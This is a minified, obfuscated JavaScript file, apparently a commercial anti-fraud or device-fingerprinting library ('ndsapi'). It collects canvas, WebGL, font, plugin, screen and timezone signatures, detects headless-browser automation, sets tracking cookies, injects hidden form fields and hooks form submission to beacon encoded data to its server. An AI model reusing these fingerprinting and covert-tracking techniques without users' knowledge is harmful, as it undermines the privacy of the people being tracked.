ndwti({"wi":"w-666234","wmd":{"ipr":{"fm":[],"lm":true,"tl":20000},"wk":{"r":"test"},"di":{"rt":128,"ut":512},"af":[]},"fd":{"ipr":"p","bi":"p","wt":"1.w-666234.1.2.4ODTuykD3bYvqj9RpaK5gw,,.I2PzRDkmu3FRo1eMxiTzb7fp9vKKTvu44DXdevnl1nf38CBmmTErco0FkBbSYGiiX1Iy6chd2bUFDuidinMfM7Et6PpjVbrSCaWoqZ3REB5jioKKtRRF_CYwy2Pe2KdMrSr1tPWzMnfKriMbHKEStZLeR0tj3FShVopqekSIwljoEtpOBBZMvXKezIF1CaqhjSKnH9JYg0l5yRw9UHN329dfmmixtzC1RF3ZrjKLTlTJrmC3TR2j3UxUU41NTKTtXNo33HJr-Z3ZCuKAzXhdyQ,,"},"gf":[]})

View File

@ -0,0 +1,627 @@
var ndjsStaticVersion="sync-131618",nslyyidtyi={};function nsbopifkzi(a,b,c,d,e){var f=null;1==c&&(nsagvvln(a,b,e),f=nsgukkebkh(a));if(null==f||1==d)try{window.sessionStorage.setItem(a,b)}catch(g){}}var nslgf={},nsdwhx,nsviymjoy=-1,nsbopifk=-1,nsbopi={},nsgukk={},nscav={},nsgukkebk={},nsviymjoyg={},nslyyidt=[],nsfkgjo=!1,nscavjy="default";
function nslyyidty(a,b,c){var d=nstnemtg([{type:"selector",value:'input[name\x3d"'+b+'"]'}]);if(0<d.length)for(a=0;a<d.length;a++)d[a].value=c;else if(0<a.length)for(var e=0;e<a.length;++e)d=a[e].querySelector("input[name\x3d"+b+"]"),null===d&&(d=document.createElement("input"),d.setAttribute("name",b),d.setAttribute("type","hidden"),a[e].appendChild(d)),d.setAttribute("value",c)}var nds=window.ndsapi||(window.ndsapi={}),nscavj=null,numQueries=0;
function nslgfnpyxj(a){for(var b=[],c=0;c<a.length;c++)-1===b.indexOf(a[c])&&b.push(a[c]);return b}var returned=[],version="null";function nsviymjo(a){for(var b in a)if(a.hasOwnProperty(b)){var c=a[b];c&&c.call&&c.apply&&(a[b]=function(){})}}"{@VER:SION@}".replace(":","")!==ndjsStaticVersion&&(version=ndjsStaticVersion);
function nslgfn(a){nslgf.sid=a;if(!0===nsgukk.ndsidConfig.enable&&null!=a){var b=nsgukk.ndsidConfig.options.hasOwnProperty("formbind")&&nsgukk.ndsidConfig.options.formbind?nstnemtg(nsgukk.ndsidConfig.options.formbind):document.getElementsByTagName("form");nslyyidty(b,nsfkgjoq,a);nsfkgjoq===nsdwhxurq&&nsfkg([])}}function nslgfnpyx(a,b){if(nsgukkebk.hasOwnProperty(a))for(var c in nsgukkebk[a])nsgukkebk[a].hasOwnProperty(c)&&nslgf.hasOwnProperty(c)&&nslgf[c]&&(b[c]=nslgf[c])}var nslyyid;
function nscavjyd(a,b,c){nsqlyrfuyo(a,function(d,e){c=b(c,d,e,a)});return c}var nsdwhxu="NDSASESS";function nsfkg(a){if(nsgukk.hasOwnProperty("pageModeConfig")&&!0===nsgukk.pageModeConfig.enable){var b=nsgukk.pageModeConfig,c={};b.hasOwnProperty("options")&&(c=b.options,null!==a&&nsbop(a)&&0<a.length&&(c&&!1===c.hasOwnProperty("formbind")&&(c.formbind=[]),c.formbind=Array.prototype.concat.call(c.formbind,a)));a=nsbopif("pmd");a=nslyy(a);nshyfqp(a,c)}}
var nsviym="3600",nsviy="ndsi"+ndjsStaticVersion,nsfkgjoq="ndsid",nsdwhxurq="nds-pmd",nsfkgjoqr="widgetData";function nsfkgjoqrf(a){return(new Date(a)).getMinutes()}var nsdwhxur=[];function nslyy(a){var b={};b[nsfkgjoqr]={};var c;for(c in a)if(a.hasOwnProperty(c)){var d=a[c];"sid"===c&&c in nsgukkebk.pmd||"wt"===c||"gzrq"===c?b[c]=d:c in nsgukkebk.pmd&&(b[nsfkgjoqr][c]=d)}nsgukkebk.hasOwnProperty("pmd")&&"fmid"in nsgukkebk.pmd&&(b.fmid="nds-pmd");return b}
function nsbop(a){return"[object Array]"===Object.prototype.toString.apply(a)}function nslgfnpy(){if(nsgukk.hasOwnProperty("pageModeConfig")&&!0===nsgukk.pageModeConfig.enable){var a=nsgukk.pageModeConfig;a.hasOwnProperty("inputFieldName")&&0<a.inputFieldName.length&&(nsdwhxurq=a.inputFieldName);!0===nsgukk.ndsidConfig.enable&&nssnfwmip();!1===nsgukkebk.hasOwnProperty("pmd")&&(nsgukkebk.pmd={pmdModuleMissing:!0})}}
function nsviymj(a){var b=0;if(a instanceof Array)b=a.length;else for(var c in a)a.hasOwnProperty(c)&&b++;return b}var nsfkgj={addCallback:function(){},callAllCallbacks:function(){}},nsdwhxurqd=function(a,b){},nslgfnp=function(){var a=new Date;return"ndsa"+Math.random().toString(36).substr(2,16)+a.getTime().toString(36)};
function nsdwh(){return window.innerWidth?window.innerHeight:document.documentElement&&document.documentElement.clientHeight?document.documentElement.clientHeight:document.body&&document.body.clientHeight?document.body.clientHeight:null}
var nsguk=function(){for(var a=0,b=document.domain,c=b.split("."),d="_temp"+(new Date).getTime();a<c.length-1&&-1===document.cookie.indexOf(d+"\x3d"+d);)b=c.slice(-1-++a).join("."),document.cookie=d+"\x3d"+d+";domain\x3d"+b+";";document.cookie=d+"\x3d; expires\x3dThu, 01 Jan 1970 00:00:01 GMT; domain\x3d"+b+";";return b};
function nsbopif(a){var b={r:Math.floor(1E6*Math.random())+1E3,sid:nds.config.sessionId,p:nsfiie(),bd:nskyivzx(),forceIP:nds.config.forceIP,dtrk:nds.config.doNotTrack,jsv:version};nsgukk.gzrq&&(b.gzrq=1);var c="";switch(a){case "i":b.ls={};try{var d=window.localStorage.getItem("ndcd");null!=d&&(b.ls.ndcd=d)}catch(e){}break;case "c":nslgf.hasOwnProperty("wt")&&(c=nslgf.wt);break;case "pmd":nslgf.hasOwnProperty("sid")&&(b.sid=nslgf.sid),nsgukk.hasOwnProperty("pageModeConfig")&&nsgukk.pageModeConfig.hasOwnProperty("wt")&&
(c=nsgukk.pageModeConfig.wt)}b.wt=c;nds.config.placement?(b.wp=nds.config.placement,b.wpp=nds.config.placementPage):b.href=window.location.href;nds.ndeb&&(b.eb=nds.ndeb);nslgfnpyx(a,b);"undefined"===typeof window.ndovStandaloneWidget||"c"!==a&&"pmd"!==a||(b.gf=HashUtil.ndovGrabFields(nsviymjoyg));return b}
function ndwti(a){nsviymjoy=nskyivz();nsbopifk=nskyivz();nslgf.wt=a.fd.wt;nsviymjoyg=a.gf;if(null!=a.wab){var b=a.wab;b=nstnemtg(b);for(var c in b){var d=b[c];if(null!=d){var e="FORM"===d.tagName?"submit":"click";nds.common.addEventListener(d,e,nds.send)}}}if(null!=a.ls&&(e=a.ls,d=ndoGetObjectKeys(e),b=nsviymj(e),0<b))for(c=0;c<b;c++)window.localStorage.setItem(d[c],e[d[c]]);if(null!=a.cwd){if("undefined"==typeof document.addEventListener)return null;a.cwd.websiteId=a.wi;var f=a.cwd;null!=f.pr&&null==
f.cp&&nds.config.placement&&nds.config.placementPage&&(a=nds.config.placement+"."+nds.config.placementPage,c=f.pr,c[a]&&(f.cp=c[a],f.cp.placement=nds.config.placement,f.cp.page=nds.config.placementPage));if(null!=f.cp)if(null!=f.cp.bindmethod&&"manual"==f.cp.bindmethod)nds.callApi=function(a){nsdwhxurqd(f,a)},nds.completeAndCallApi=function(a){nds.send(function(){nds.callApi(a)})};else for(b=null==f.cp.autobind?document.getElementsByTagName("form"):nstnemtg(f.cp.autobind),c=0;c<b.length;c++)if(d=
b[c],null!=d){var g=(a="function"===typeof d.onsubmit)?d.onsubmit:function(){return!0};e="FORM"===d.tagName?"submit":"click";(function(a,b,c,d){var e=function(l){var n=l||window.event;n.preventDefault?n.preventDefault():n.returnValue=!1;nsdwhxurqd(f,function(l,f){if(1==c){a.onsubmit=function(){};try{b(n)}catch(p){}}else nds.common.removeEventListener(a,d,e);if(a.submit)try{a.submit()}catch(p){a.constructor.prototype.submit.call(a)}else a.click()})};!0===c?a.onsubmit=e(d):nds.common.addEventListener(a,
d,e)})(d,g,a,e)}}!0===nsgukk.ndsidConfig.enable&&(a=nsgukkebkh(nsfkgjoq),null!==a&&(nds.setSessionIdFromCookie(nsfkgjoq),nsbopifkzi(nsfkgjoq,a,!1,!0)),nslgfn(nsfiievb(nsfkgjoq)))}nslyyi&&(ndwts=function(){});
nds.load=function(a){if(nslyyi)nsviymjo(nds),nsviymjo(nds.common),nsviymjo(nds.common.util),nds.send=function(a){"function"===typeof a&&a()};else{var b=function(a){var b={},c;a=a.split("\x26");var d=0;for(c=a.length;d<c;d++){var e=a[d].split("\x3d");b[e[0]]=decodeURIComponent(e[1])}return b},c=a.split("?");nds.config.queryParams=1<c.length?b(c[1]):{};"undefined"===typeof nslyyid&&(nslyyid=c=c[0].replace(/\/sync\/js\/?$/,""));c=nslyyid;var d=function(a){a=nsbopif(a);for(var b in a)a.hasOwnProperty(b)&&
!a[b]&&delete a[b];b=nsgukke.stringify(a);b=nshyfqpw(b);return"q\x3d"+encodeURIComponent(b)},e=function(a){return(returned.length===k||-1<returned.indexOf(!1))&&"function"===typeof a?(a(),0>returned.indexOf(!1)&&(returned=[]),!0):!1};nds.getQueryArray=function(a){var b=[];"string"===typeof a&&""!==a&&(b=nsfiievbab(a));a=b.length;for(var c=[],d=0;d<a;d++){var e=nshyfqpw(b[d]);c.push(e)}return c};nds.config.sendTimeout=5E3;nds.send=function(a){nssnfwmi("precomplete");if(!0===nsgukk.eventModeEnabled){returned=
[];!1===nsfkgjo&&setTimeout(nds.init,0);!0===nsgukk.ndsidConfig.enable&&nssnfwmip();var b=nds.getQueryArray("c");k=b.length;for(var d=0;d<k;d++)(function(){var l="q\x3d"+encodeURIComponent(b[d]),f=new Image,h=null;f.onerror=function(){returned.push(!1);!0===e(a)&&(a=null)};f.onload=function(){h&&clearTimeout(h);returned.push(!0);!0===e(a)&&(a=null)};nds.config.sendTimeout&&(h=setTimeout(f.onerror,nds.config.sendTimeout));f.src=c+"/complete/gif/?"+l})()}else"function"===typeof a&&a();nds.ndwtr()};
nds.loadScript=function(a,b,c){var d=document.getElementById(b);d&&d.parentNode.removeChild(d);d=document.createElement("script");d.setAttribute("type","text/javascript");d.setAttribute("src",a);d.setAttribute("id",b);nds.config.hasOwnProperty("cspNonce")&&0<nds.config.cspNonce.length&&d.setAttribute("nonce",nds.config.cspNonce);a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(d,a);"function"===typeof c&&c(d)};nds.config.sessionId=null;a=nds.config.q;for(b=0;b<a.length;++b){var f=
a[b];"function"===typeof f&&f()}null===nds.config.sessionId&&("undefined"!==typeof window.ndovStandaloneWidget?nds.config.sessionId=nsfiievb(nsdwhxu):!0===nsgukk.ndsidConfig.enable&&(nscavj=nsfiievb(nsfkgjoq),nslgfn(nscavj)));nds.init=function(){nsfkgj.callAllCallbacks();if("application/json"===nscavjy)try{var a=null;null!=XMLHttpRequest&&(a=new XMLHttpRequest);!0===nsgukk.ndsidConfig.enable&&nssnfwmip();a.open("GET",c+"/init/js/?"+d("i"));a.setRequestHeader("Cache-Control","max-age\x3d0");a.setRequestHeader("Content-Type",
"application/json");a.send();a.onreadystatechange=function(){if(4===a.readyState&&200===a.status)try{var b=JSON.parse(a.response);ndwti(b)}catch(X){}}}catch(l){}else!0===nsgukk.ndsidConfig.enable&&nssnfwmip(),nds.loadScript(c+"/init/js/?"+d("i"),nsviy);nsfkgjo=!0;!0===nsbop(nds.config.initCallbackList)&&nsqlyrfuyo(nds.config.initCallbackList,function(a){a()})};nds.reinit=function(a,b,c){null!=a&&nds.setPlacement(a);b&&nds.setPlacementPage(b);c&&(nslyyidtyi.ipr.fm=c);nssnfwmi("init");nsfkg([]);nslyyidt&&
0!==nslyyidt.length?B(nslyyidt):nds.init()};if(nsgukkebk.hasOwnProperty("id")&&0<nsviymj(nsgukkebk.id)){returned=[];!0===nsgukk.ndsidConfig.enable&&nssnfwmip();a=nsfiievbab("id");var g=null,k=a.length;for(b=0;b<k;b++){var m=nshyfqpw(a[b]);m="rr\x3dsomething\x26q\x3d"+encodeURIComponent(m);var h=new Image;h.onerror=function(){returned.push(!1);!0===e(f)&&(f=null)};h.onload=function(){g&&clearTimeout(g);returned.push(!0);!0===e(f)&&(f=null)};nds.config.sendTimeout&&(g=setTimeout(h.onerror,nds.config.sendTimeout));
h.src=c+"/init/gif/?"+m}}var B=function(a){nsfkgj.callAllCallbacks();nsfkgj=nds.common.createCallbackList();var b=-1;var c=nstnemtg(a);for(a=0;a<c.length;a++)try{var d=c[a];var e=nds.common.addEventListener(d,"focus",nds.init);nsfkgj.addCallback(e);b++}catch(p){}-1<b&&nshyf(c,nds.init);-1===b&&nds.init()};null==nslyyidt||0===nslyyidt.length?nds.init():B(nslyyidt)}};nds.getInputList=function(){return nslgf};
nds.sendOnEvent=function(a,b){var c=document.getElementById(a);nds.common.addEventListener(c,b,nds.send)};nds.sendOnSubmit=function(){for(var a=document.getElementsByTagName("form"),b=0;b<a.length;++b)nds.common.addEventListener(a[b],"submit",nds.send)};
function nscavjydj(a){var b=[41,8,49,48,51,44,63,0,19,61,43,63,57,15,34,6,42,59,41,19,10,45,54,0,44,34,57,36,48],c="";if("NDX:"===a.substring(0,4)){var d=!0;a=a.substring(4)}else d=!1,c="NDX:";for(var e=0,f=0;f<a.length;f+=1){var g=a.charCodeAt(f)-32;0<=g&&94>g&&(d&&64>g&&(g^=b[e%b.length]),g+=47+(d?-1:1)*e*31,g=(g%94+94)%94,!d&&64>g&&(g^=b[e%b.length]),e++);c+=String.fromCharCode(g+32)}return c}
function nsbopifkz(a){if(nsdwhxurq===nsfkgjoq){a=nsgukkeb(a);for(var b={},c=0;c<a.length;c++){try{b=a[c].querySelector('input[name\x3d"'+nsdwhxurq+'"]')}catch(d){}null!==b&&nsdwhxur.push(b)}}else nsdwhxur=nstnemtg([{type:"selector",value:'input[name\x3d"'+nsdwhxurq+'"]'}])}HashUtil.ndovGrabFields=function(a){return"ndovGrabFields not initialized in default mode"};
function nsgukkeb(a){var b=[];nsgukk.hasOwnProperty("pageModeConfig")&&0<nsgukk.pageModeConfig.formbind.length&&(b=Array.prototype.concat.call(b,nstnemtg(nsgukk.pageModeConfig.formbind)));a&&a.hasOwnProperty("formbind")&&a.formbind&&(b=Array.prototype.concat.call(b,nstnemtg(a.formbind)));return b}function nsgukkebkh(a,b){return(b=document.cookie.match("(^|;)\\s*"+a+"\\s*\x3d\\s*([^;]+)"))?b.pop():null}nds.setInitTargets=function(a){nslyyidt=a};
nds.addInitCallback=function(a){!1===nsbop(nds.config.initCallbackList)&&(nds.config.initCallbackList=[]);"function"===typeof a&&-1===nds.config.initCallbackList.indexOf(a)&&nds.config.initCallbackList.push(a)};nds.removeAllInitCallbacks=function(){nds.config.initCallbackList=[]};function nscavjydje(a,b){nsbopi[a]=b}nds.setSessionId=function(a){nds.config.sessionId=a};nds.setSessionIdFromCookie=function(a){try{nds.setSessionId(nsgukkebkh(a))}catch(b){nds.setSessionId(null)}};
nds.setSessionIdFromSessionStorage=function(a){try{nds.setSessionId(window.sessionStorage.getItem(a))}catch(b){nds.setSessionId(null)}};nds.setSessionIdFromURL=function(a){"undefined"!==typeof nds.config.queryParams&&a in nds.config.queryParams?(a=nds.config.queryParams[a],nds.setSessionId(a?a:null)):nds.setSessionId(null)};function nsswwaawe(a,b){return a===b?!0:!1}
function ndwts(a){nsgukkebk=a.ml;nsgukk=a.co;nslyyidtyi=a.wmd;nslgf=a.fd;nsdwhx=!0;nscavjy=a.wc;nsgukk.initId&&(nsviy=nsgukk.initId);nssnfwmi("init");"undefined"!=typeof nsgukk.initBindings&&nds.setInitTargets(nsgukk.initBindings);"undefined"!==typeof nsgukk.apiBaseUrl&&nsgukk.apiBaseUrl&&nds.setApiBaseUrl(nsgukk.apiBaseUrl);nslgfnpy();nsfkg([])}nds.setSessionIdFromDOM=function(a){try{nds.setSessionId(document.getElementById(a).value)}catch(b){nds.setSessionId(null)}};
nds.setSessionIdFromJS=function(a){if(a in window){var b=a=window[a];"function"===typeof a&&(b=a());nds.setSessionId(b?b:null)}else nds.setSessionId(null)};nds.setForceIP=function(a){nds.config.forceIP=a};nds.setPlacement=function(a){nds.config.placement=a};nds.setPlacementPage=function(a){nds.config.placementPage=a};nds.setTimeout=function(a){nds.config.sendTimeout=+a};nds.setForceUA=function(a){nds.config.forceUA=a};function nshyfq(){return 692441607}
function nsagvvln(a,b,c){null===nsgukkebkh(a)&&(a=a+"\x3d"+b+";max-age\x3d"+nsviym+"; domain\x3d ."+nsguk()+" ; path\x3d/",!0===c&&(a+="; secure"),document.cookie=a)}function nsfiiev(a){return"object"===typeof a&&null!==a&&!nsbop(a)}nds.setCspNonceForInit=function(a){nds.config.cspNonce=a};nds.doNotTrack=function(){nds.config.doNotTrack=!0};nds.bindNewFields=function(a){nssnfwmi("rebind",a);nsfkg([])};function nskyivz(){return parseInt((new Date).getTime()/1E3,10)}
nds.setPageModeFields=function(a){if(null!==a&&nsbop(a)&&0<a.length){for(var b=0;b<nsdwhxur.length;b++)nsdwhxur[b].parentNode.removeChild(nsdwhxur[b]);nsdwhxur=[];nsfkg(a)}};nds.clear=function(){nssnfwmi("clear")};
function nshyfqp(a,b){if(0<nsviymj(a)){var c=nsgukkeb(b);0===nsviymj(c)&&(c=document.getElementsByTagName("form"));a.hasOwnProperty("sid")&&null==a.sid&&(a.sid="");var d=nsgukke.stringify(a);nsgukk.hasOwnProperty("pageModeConfig")&&!0===nsgukk.pageModeConfig.encodeData&&(d=nshyfqpw(d));nslyyidty(c,nsdwhxurq,d);nsbopifkz(b)}}nds.stop=function(){nssnfwmi("stop");nsfkgj.callAllCallbacks()};
function nsfiievb(a){if(null==nds.config.sessionId){var b=nsgukkebkh(a);if(null==b){try{b=window.sessionStorage.getItem(a)}catch(c){b=null}null==b&&(b=nslgfnp(),"undefined"===typeof window.ndovStandaloneWidget&&!0!==nsgukk.clientSideCookie||nsbopifkzi(a,b,!0,!1,"object"===typeof nsgukk.ndsidConfig&&"boolean"===typeof nsgukk.ndsidConfig.secure?nsgukk.ndsidConfig.secure:!1))}return b}return nds.config.sessionId}nds.ndwtr=function(){nssnfwmi("reinit")};nds.setFormFieldData=function(a,b){nslgf[a]=b};
nds.setApiBaseUrl=function(a){nslyyid=a};nds.getApiBaseUrl=function(){return nslyyid};"undefined"==typeof nds&&(nds=window.ndsapi||(window.ndsapi={}));function nsagvvlnu(a){return a.concat("nBCXNxbjl145j")}nds.common={};nds.common.util={};nds.common.bi={};function nshyfqpw(a){return!0===nsgukk.useNdx?nscavjydj(a):nsfiievba(a)}nds.common.querySelectorAll=function(a){return document.querySelectorAll(a)};document.querySelectorAll||(nds.common.querySelectorAll=function(a){return[]});
function nsqlyrfuyo(a,b){var c;if(nsbop(a)||nsagvvlnuk(a))for(c=0;c<a.length;c+=1)b(a[c],c,a);else if(nsfiiev(a)){for(e in a)Object.prototype.hasOwnProperty.call(a,e)&&b(a[e],e,a);var d=nsqlyrfuyo.ie8extraEnums;for(c=0;c<d.length;c+=1){var e=d[c];Object.prototype.hasOwnProperty.call(a,e)&&b(a[e],e,a)}}}nds.common.addEventListener=function(a,b,c){try{a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent&&a.attachEvent("on"+b,c)}catch(d){}return function(){nds.common.removeEventListener(a,b,c)}};
function nstnemtg(a){var b=[],c;for(c in a)if(a.hasOwnProperty(c)){var d=a[c];if("string"===typeof d&&document.getElementById(d))b.push(document.getElementById(d));else if(d.hasOwnProperty("type")&&d.hasOwnProperty("value"))switch(d.type){case "selector":var e=[];try{e=nds.common.querySelectorAll(d.value)}catch(f){}if(0<e.length)for(d.hasOwnProperty("index")&&(e=[e[d.index]]),d=0;d<e.length;d+=1)e[d]&&b.push(e[d])}}return b}
nds.common.removeEventListener=function(a,b,c){try{a.removeEventListener?a.removeEventListener(b,c,!1):a.detachEvent&&a.detachEvent("on"+b,c)}catch(d){}};nds.common.createCallbackList=function(){var a=[];return{addCallback:function(b){b&&a.push(b)},callAllCallbacks:function(){for(var b=0;b<a.length;b+=1)(0,a[b])();a=[]}}};
nds.common.util.truncTo=function(a,b,c){c="undefined"!==typeof c?c:"TRUNC";if("string"!==typeof a)return a;var d=b-c.length;return 1>d?a.substring(0,b):a.length>d?a.substring(0,d)+c:a};nds.common.util.quickHash=function(a){var b=0,c=0,d;if(0===a.length)return"00000000";var e=0;for(d=a.length;e<d;e++){var f=a.charCodeAt(e);0===e%2?(b=(b<<5)-b+f,b|=0):(c=(c<<5)-c+f,c|=0)}0>b&&(b=4294967295+b+1);0>c&&(c=4294967295+c+1);return b.toString(16)+c.toString(16)};
nds.common.bi.getScreenFingerprint=function(){var a="";window.screen&&(a+=[window.screen.width,window.screen.height].sort().join("x"),a+=" "+window.screen.colorDepth);return a};function nsfiie(){var a="";if(window._phantom||window.callPhantom||window.__phantomas)a+="p";window.Buffer&&(a+="n");window.emit&&(a+="c");window.spawn&&(a+="r");window.webdriver&&(a+="s");if(window.domAutomation||window.domAutomationController)a+="b";return a}
nds.common.util.getComputedStyle=function(a,b){if(document.defaultView&&document.defaultView.getComputedStyle)return document.defaultView.getComputedStyle(a,null).getPropertyValue(b);try{if(a.currentStyle)return b=b.replace(/-(\w)/g,function(a,b){return b.toUpperCase()}),a.currentStyle[b]}catch(c){}};
nds.common.bi.getScreenInfo=function(){var a="";"undefined"!==typeof window.screen&&("undefined"!==typeof window.screen.width&&"undefined"!==typeof window.screen.height&&(a+=window.screen.width+"x"+window.screen.height),"undefined"!==typeof window.screen.availWidth&&"undefined"!==typeof window.screen.availHeight&&(a+=" "+window.screen.availWidth+"x"+window.screen.availHeight),"undefined"!==typeof window.screen.colorDepth&&(a+=" "+window.screen.colorDepth),"undefined"!==typeof window.screen.pixelDepth&&
(a+=" "+window.screen.pixelDepth));return a};function nssnfwmi(a,b){for(var c in nsbopi)if(nsbopi.hasOwnProperty(c)){var d=nsbopi[c];if(d.hasOwnProperty(a))(0,d[a])(nslyyidtyi[c],b)}}function nshyf(a,b){var c=10,d=setInterval(function(){for(var e=0;e<a.length;e+=1)try{var f=a[e];if(f&&f.value&&f.value!==f.defaultValue){b();clearInterval(d);return}}catch(g){}--c;1>c&&clearInterval(d)},250);nsfkgj.addCallback(function(){clearInterval(d)})}
nds.common.bi.isFlashInstalled=function(){try{return new ActiveXObject("ShockwaveFlash.ShockwaveFlash"),!0}catch(a){}try{if(void 0!=navigator.mimeTypes["application/x-shockwave-flash"]&&navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin)return!0}catch(a){}return!1};nds.common.bi.getDeviceLanguage=function(){return window.navigator.userLanguage||window.navigator.language||window.navigator.browserLanguage};
nds.common.bi.getDeviceTimezone=function(){var a=(new Date(2014,0,2)).getTimezoneOffset(),b=(new Date(2014,5,2)).getTimezoneOffset();return Math.max(a,b)};
nds.common.bi.getPlugins=function(){var a=[],b=/([0-9]+)\.[0-9|.]+/g;if(window.ActiveXObject){if(document.plugins&&0<document.plugins.length)for(var c=0;c<document.plugins.length;c++)a.push(document.plugins[c].src.replace(b,"$1"))}else try{if(navigator.plugins&&0<navigator.plugins.length)for(c=0;c<navigator.plugins.length;c++)a.push(navigator.plugins[c].name.replace(b,"$1"))}catch(d){a.push("denied")}0<a.length&&a.sort();b="p";for(c=0;c<a.length;c++)b+=","+a[c];return b};
nds.common.bi.getWebGLInfo=function(){for(var a={},b=document.createElement("canvas"),c=["webgl","experimental-webgl","moz-webgl","webkit-3d"],d,e=0;e<c.length;e++)try{if(d=b.getContext(c[e])){a.ContextName=c[e];break}}catch(f){}if(!(d&&"getParameter"in d))return null;b="VENDOR VERSION RENDERER SHADING_LANGUAGE_VERSION DEPTH_BITS MAX_VERTEX_ATTRIBS MAX_VERTEX_TEXTURE_IMAGE_UNITS MAX_VARYING_VECTORS MAX_VERTEX_UNIFORM_VECTORS MAX_COMBINED_TEXTURE_IMAGE_UNITS MAX_TEXTURE_SIZE MAX_CUBE_MAP_TEXTURE_SIZE NUM_COMPRESSED_TEXTURE_FORMATS MAX_RENDERBUFFER_SIZE MAX_VIEWPORT_DIMS ALIASED_LINE_WIDTH_RANGE ALIASED_POINT_SIZE_RANGE".split(" ");
for(c=0;c<b.length;c++)e=b[c],e in d&&(a[e]=d.getParameter(d[e]));return a};nds.common.bi.getDeviceTouchSettings=function(){var a={mtp:"NA"};"undefined"!==typeof navigator.maxTouchPoints?a.mtp=navigator.maxTouchPoints:"undefined"!==typeof navigator.msMaxTouchPoints&&(a.mtp=navigator.msMaxTouchPoints);a.ts=!1;"ontouchstart"in window&&(a.ts=!0);a.te=!1;try{document.createEvent("TouchEvent"),a.te=!0}catch(b){}return a};
nds.common.bi.getCookiesEnabled=function(a){var b=!0,c="undefined"!==typeof navigator.cookieEnabled&&navigator.cookieEnabled?!0:!1;if(1==a)try{document.cookie="ncookietest\x3d1",b=-1!=document.cookie.indexOf("ncookietest\x3d"),document.cookie="ncookietest\x3d1; expires\x3dThu, 01-Jan-1970 00:00:01 GMT"}catch(d){}return{tc:b,nc:c}};
nds.common.bi.getHTML5CanvasSignature=function(){var a="NA";try{var b=document.createElement("canvas");b.width=200;b.height=40;b.style.display="inline";var c=b.getContext("2d");c.fillText("aBc#$efG~ \ude73\ud63d",4,10);c.fillStyle="rgba(67, 92, 0, 0.5)";c.font="18pt Arial";c.fillText("aBc#$~efG \ude73\ud63d",8,12);a=b.toDataURL()}catch(d){}return a};
nds.common.bi.getFontMetrics=function(){var a=[];try{for(var b=document.createElement("canvas").getContext("2d"),c=nds.common.bi.fontMetricsFontList,d=0;d<c.length;d+=1){b.font='72px "'+c[d]+'"';var e=b.measureText("mmmmmmmmmmlli").width;a.push(e)}}catch(f){}return a};nds.common.bi.getHTML5LocalStorage=function(){var a=!1;try{var b=window.localStorage;b.setItem("ndls","ndls");b.removeItem("ndls");a=!0}catch(c){}return a};
nds.common.bi.getHTML5SupportedVideo=function(){var a="fv";try{var b=document.createElement("video"),c=["ogg","mp4","webm"];if("undefined"!==typeof b)for(var d in c)c.hasOwnProperty(d)&&""!=b.canPlayType("video/"+c[d])&&(a+=","+c[d])}catch(e){}return a};nds.common.bi.getHTML5SupportedAudio=function(){var a="fa";try{var b=document.createElement("audio"),c=["mpeg","ogg","wav"];if("undefined"!==typeof b)for(var d in c)c.hasOwnProperty(d)&&""!=b.canPlayType("audio/"+c[d])&&(a+=","+c[d])}catch(e){}return a};
nds.common.bi.getPlatform=function(){var a="NA";try{a=navigator.platform}catch(b){}return a};function nsswwaawej(){return window.innerWidth?window.innerWidth:document.documentElement&&document.documentElement.clientWidth?document.documentElement.clientWidth:document.body&&document.body.clientWidth?document.body.clientWidth:null}nds.common.bi.getVendor=function(){var a="NA";try{a=navigator.vendor}catch(b){}return a};
function nsfiievba(a){return a.replace(/[A-Za-z]/g,function(a){return String.fromCharCode(a.charCodeAt(0)+("M">=a.toUpperCase()?13:-13))})}nds.common.bi.fontMetricsFontList="monospace;sans-serif;serif;Andale Mono;Arial;Arial Black;Arial Hebrew;Arial MT;Arial Narrow;Arial Rounded MT Bold;Arial Unicode MS;Bitstream Vera Sans Mono;Book Antiqua;Bookman Old Style;Calibri;Cambria;Cambria Math;Century;Century Gothic;Century Schoolbook;Comic Sans;Comic Sans MS;Consolas;Courier;Courier New;Garamond;Geneva;Georgia;Helvetica;Helvetica Neue;Impact;Lucida Bright;Lucida Calligraphy;Lucida Console;Lucida Fax;LUCIDA GRANDE;Lucida Handwriting;Lucida Sans;Lucida Sans Typewriter;Lucida Sans Unicode;Microsoft Sans Serif;Monaco;Monotype Corsiva;MS Gothic;MS Outlook;MS PGothic;MS Reference Sans Serif;MS Sans Serif;MS Serif;MYRIAD;MYRIAD PRO;Palatino;Palatino Linotype;Segoe Print;Segoe Script;Segoe UI;Segoe UI Light;Segoe UI Semibold;Segoe UI Symbol;Tahoma;Times;Times New Roman;Times New Roman PS;Trebuchet MS;Verdana;Wingdings;Wingdings 2;Wingdings 3".split(";");
function nssww(a,b){if("string"===typeof b){var c=b;b=function(a){return a[c]}}var d=nsbop(a)?[]:nsfiiev(a)?{}:void 0;nsqlyrfuyo(a,function(c,f){d[f]=b(c,f,a)});return d}function nskyivzx(){return nsswwaawej()+":"+nsdwh()+":"+window.outerWidth+":"+window.outerHeight+":"+screen.availWidth+":"+screen.availHeight}var nsgukke;nsgukke||(nsgukke={});
Array.prototype.indexOf||(Array.prototype.indexOf=function(a,b){var c=this.length>>>0,d=Number(b)||0;d=0>d?Math.ceil(d):Math.floor(d);for(0>d&&(d+=c);d<c;d++)if(d in this&&this[d]===a)return d;return-1});nsqlyrfuyo.ie8extraEnums=function(){return{toString:null}.propertyIsEnumerable("toString")?[]:"toString toLocaleString valueOf hasOwnProperty isPrototypeOf propertyIsEnumerable constructor".split(" ")}();
var ndoGetObjectKeys=function(){var a=Object.prototype.hasOwnProperty,b=!{toString:null}.propertyIsEnumerable("toString"),c="toString toLocaleString valueOf hasOwnProperty isPrototypeOf propertyIsEnumerable constructor".split(" "),d=c.length;return function(e){if("object"!==typeof e&&("function"!==typeof e||null===e))throw new TypeError("ndoGetObjectKeys called on non-object");var f=[],g;for(g in e)a.call(e,g)&&f.push(g);if(b)for(g=0;g<d;g++)a.call(e,c[g])&&f.push(c[g]);return f}}();
